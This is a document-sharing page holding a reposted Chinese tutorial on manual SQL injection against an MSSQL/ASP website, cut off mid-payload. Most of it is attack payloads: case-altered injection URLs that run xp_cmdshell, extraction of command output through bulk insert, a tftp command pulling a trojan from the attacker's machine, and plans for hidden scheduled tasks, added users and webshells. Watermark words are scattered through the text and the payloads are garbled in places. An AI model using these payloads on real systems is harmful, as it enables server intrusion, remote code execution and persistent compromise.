SQL注入中的错误分析及渗透技术.docx_第1页
SQL注入中的错误分析及渗透技术.docx_第2页
SQL注入中的错误分析及渗透技术.docx_第3页
SQL注入中的错误分析及渗透技术.docx_第4页
SQL注入中的错误分析及渗透技术.docx_第5页
已阅读5页,还剩4页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

转贴SQL注入中的错误分析及渗透技术【原创】SQL注入中的错误分析及渗透技术, , 简介:本文主要讲了在SQL注入过程中遇到一些特殊问题时的一些思考及处理思路,其中涉及了一些手工注入的语法及渗透思维,谨以此文献给那些刚刚起步的菜鸟朋友们,我也是刚刚起步,掌握了一些技术,希望将掌握的技术写 .信息来自:简介:本文主要讲了在SQL注入过程中遇到一些特殊问题时的一些思考及处理思路,其中涉及了一些手工注入的语法及渗透思维,谨以此文献给那些刚刚起步的菜鸟朋友们,我也是刚刚起步,掌握了一些技术,希望将掌握的技术写出来与大家共享、共同学习、共同提高。信息来自:普遍的判断注入的方法相信大家都已经掌握了,无非就是加单引号,加and 1=1 and 1=2之类的。是的这个的确是判断注入的方法,但知道这些对于渗透入侵还是远远不够的。我今天引用的这个例子可以通过这种方法判断为存在注入漏洞,但是用工具却注入不了。我们今天将采用的是手工注入的方法,在注入过程中对随时遇到的错误信息进行分析及判断。黑客例子: 网络安全加单引号,返回错误加and 1=1 返回正常加and 1=2 返回错误好了,先用工具注入一下,看结果。如图1:黑客从中可以看出当前连接用户名、库名、权限是SA,比较大。我们在看一下是否可执行命令,打开NBSI的命令工具,列C盘看下,结果显示什么也没有,再列目录看下,结果还是一样,空空如也。黑客如图2:黑客到这里可能绝大多数初学的朋友就要被难住了,难道真的没有办法了吗?有的!当然有,因为这个注入点过滤了一些关键字,所以用工具就无能为力了,不过转换一下这些关键字的大小写即可成功注入,下面说说手工注入该站的详细步骤。黑客入侵思路:既然注入点权限是SA,那么首先考虑的就是执行命令,加用户,3389登录,如果没有3389开放的话,那就试试用命令执行一些上传操作,例如:HTTP上传、FTP上传、TFTP上传等等。上传一些木马程序然后运行。如果不可以执行命令,那么还可以查查WEB主目录,利用差异备份或者LOG备份得到一个WEBSHELL,然后再恢复命令执行,上传木马并运行。黑客以上面这个注入点为例,首先怎样判断注入点是否可执行命令。大家都知道工具注入是不行的了,那么手工该如何判断这个注入点是否能执行命令呢?我们可以先建一个表,然后执行一下XP_CMDSHELL存储过程在C盘上建个目录,再用xp_subdirs存储过程读C盘下的子目录进表中,再利用暴表的注入语句将表内容读出,这样我们就知道目录是否创建成功,如果成功说明可执行命令。注入语句如下:信息来自:(1)http:/www.*.com/zhuanti/zt.asp?id=34;Create table temp(id nvarchAr(255),num1 nvarchAr(255),num2 nvarchAr(255),num3 nvarchAr(255);-黑客(2)http:/www.*.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell md c:cxd-黑客(3)http:/www.*.com/zhuanti/zt.asp?id=34;Insert into temp(id) eXec master.dbo.xp_subdirs c:;-(4)http:/www.*.com/zhuanti/zt.asp?id=34 and (Select top 1 id from temp)0-网络安全(5)http:/www.*.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 2 * from temp order by 1) T order by 1 desc)S)0-网络安全(6)http:/www.*.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)0-可是在执行第一条语句是出现了错误,一般正常的注入点执行这个建表命令是不会出错的,但是这个注入点出错了,如图3:黑客网络安全提示信息为:数据库中已存在名为temp的对象.疑问1:难道是这个库中以前就有temp表,那好吧,我们先把以前的表删除.语句如下:http:/www.*.com/zhuanti/zt.asp?id=34;Drop table temp-信息来自:可这次又出错了,提示:无法除去,表不存在.这就怪事了,刚才建表是重复建表,出错.现在删表又不存在了?搞得人一头雾水.再试,建个temp1表,提示如故:数据库中已存在名为temp1的对象。网络安全疑问2:难道是数据库跟我们捉迷藏,我们建哪个表删哪个表,它就事先知道,先我一步把它搞定了?不太可能呀,数据库还达不到这样的智能程度。想来想去,那只有一种可能:那就是我们提交一句注入语句被执行了多次,当第一次执行成功后,后面的再执行当然就会出现重复建表、重复删表的错误了。只是一时还得不到验证。既然建表已经成功,那我们就依次提交第(2)至第(4)条语句,暴出表temp第一条记录ID列的内容:cxd 呵呵,正是我所希望的,c盘上存在一个名为cxd的目录,说明此注入点可执行命令。接着再来暴表temp第二条记录的内容,提交第(5)句,得到内容还是:cxd,再提交:黑客http:/www.*.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 3 * from temp order by 1) T order by 1 desc)S)0-暴第三条记录的内容,还是cxd,接着,继续。http:/www.*.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)0-信息来自:把X 的位置依次换成4 5 6 7 8,换成4时,暴出内容为:cxd 换成5时,暴出内容为:Documents and Settings 呵呵,原来第1至4条记录是相同的,第5至8是相同的。现在终于验证了我当前的推断,同一条语句被执行了4次,导致执行一句插入语句,产生了四条记录。这就是上面建表提示出错的原因,所以任何返回信息只是一种参考信息,它并不一定就是对了,或许会带有一些迷惑性,我们在注入时要分清楚,哪些是真实的返回,哪些是虚假的。好了,知道这个注入点可执行命令了,下一步当然是用扫描器扫端口了,看是否开3389,扫描结果如下:只开了21 80端口,看来加用户3389登录是没戏了,那就试试TFTP上传吧,注入语句如下:网络安全http:/www.*.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell tftp -i 0 get ps.exe c:ps.exe-黑客说明一下:0是我自己电脑的外网IP,tftp -i 0 get ps.exe c:ps.exe是从我的电脑上下载ps.exe保存在它的C盘根目录下。在提交前,先在本机上运行一下tftpd32.exe,这个程序网上有,大家可以自己搜索一下。图形界面的程序,大家一看就会用了,如图4:信息来自:黑客点提交后,TFTPD32的窗口一点反应都没有,如果有机器连接进来并且下载东东的话,TFTPD32窗口会显示对方的IP及下载的文件名,没反应,可能是 MSSQL服务器在内网不能上互联网或者被防火墙拦截了。好了,既然我们有执行命令的权限,那我们怎样进一步判断它的MSSQL数据库是在内网还是外网或者安装了什么杀毒软件,什么防火墙呢?还或者其它一些你所感兴趣的东东呢?next黑客入侵思路:利用xp_cmdshell存储过程执行一些命令保存结果到磁盘上,然后利用bulk insert语句将这个文件读入表中,然后利用注入语句将表内容暴出来,我们就知道了命令执行的结果了.(1)http:/www.*.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell ipconfig /all c:cxd.txt-信息来自:说明一下:利用xp_cmdshell执行命令:ipconfig /all并将结果保存到c:cxd.txt中.(2)http:/www.*.com/zhuanti/zt.asp?id=34;Create table foo(line varchar(8000)-信息来自:(3)http:/www.*.com/zhuanti/zt.asp?id=34;bulk iNsert foo from c:cxd.txt-黑客说明一下:bulk insert将文本文件c:cxd.txt读入表foo中.(4)http:/www.*.com/zhuanti/zt.asp?id=34 and (sElect top 1 line from foo)0-网络安全暴表foo第1条记录内容(5)http:/www.*.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top 5 * from foo order by 1) T order by 1 desc)S)0-暴第5条记录内容,也就是c:cxd.txt第二行内容,前面说过了,每隔4条记录为一组.呵呵.依次类推,把所有内容都暴出来.省略若干.结果如图5:网络安全从中可看出这台机器在内网,IP地址是:IP Address. . . . . . . . . . . . : 23IP Address. . . . . . . . . . . . : 网关是:Default Gateway . . . . . . . . . : 内网的机器就比较棘手了。不知道它能不能访问互联网。我们可以在这台机器上运行一下ping 看返回情况,注入语句如下:黑客(1)http:/www.*.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell ping c:cxd.txt-(2)http:/www.*.com/zhuanti/zt.asp?id=34;dElete from foo- 清空表内容网络安全(3)http:/www.*.com/zhuanti/zt.asp?id=34;bulk iNsert foo from c:cxd.txt-网络安全(4)http:/www.*.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top X * from foo order by 1) T order by 1 desc)S)0-网络安全把X依次换成1 5 9 13 17 21 25 29 。省略N多,暴出内容来,返回如下:Ping request could not find hostPlease check the name and try again.再试下直接ping IP的方法(1)http:/www.*.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell ping 8c:cxd.txt-黑客(2)http:/www.*.com/zhuanti/zt.asp?id=34;dElete from foo- 清空表内容黑客(3)http:/www.*.com/zhuanti/zt.asp?id=34;bulk iNsert foo from c:cxd.txt-黑客(4)http:/www.*.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top X * from foo order by 1) T order by 1 desc)S)0-网络安全X依次换成1 5 9 13 17 21 25 29 33返回:Packets: Sent = 4, Received = 0, Lost = 4 (100% loss) 丢包是100%,完全ping不通互联网,看来这台内网的MSSQL服务器是没有连接互联网的,那我们的入侵就到此止了吗?不。我们还可以进一步进行渗透,也许就能找到些突破口呢!黑客渗透思路:用xp_cmdshell执行netstat -an查看端口情况,看有没有什么特殊端口开放,执行net start查看一下有没有特殊服务,查一下服务器操作系统版本,写进启动目录下载脚本或者用schtasks建隐藏任务,每隔一定时间执行一些操作。黑客先看一下端口吧,注入语句:(1)http:/www.*.com/zhuanti/zt.asp?id=34;drop TABLE D99_CMD;Create

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论